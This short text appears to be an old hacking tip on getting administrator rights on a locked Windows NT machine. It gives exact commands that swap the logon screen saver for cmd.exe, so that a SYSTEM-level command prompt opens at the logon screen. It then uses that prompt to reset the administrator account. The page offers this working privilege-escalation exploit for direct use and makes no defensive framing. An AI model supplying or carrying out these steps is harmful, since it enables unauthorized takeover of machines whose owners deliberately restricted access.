Accessing the Comp. as an Administrator in a Locked Environment

Accessing the Comp. as an Administrator in a Locked Environment

If you can log in as an account in WIn NT then go to MS-DOS -> run -> command, at the C: prompt type the following
C:\> cd \winnt\system32 C:\winnt\system32> copy logon.scr logon.scr.old C:\winnt\system32> del logon.scr C:\winnt\system32> copy cmd.exe logon.scr 
Now log off the machine, logon.scr is the screen saver that will kick in after 15-20 minutes of not touching the keyboard/mouse at the logon screen. Wait 15-20 minutes and a DOS prompt with FULL SYSTEM rights will pop up, then just to C:\> net user administrator and then log in with the new account. 
Try this, might work, as long as the administrator has not changed default permissions or access rights on C:\winnt and C:\winnt\system32.
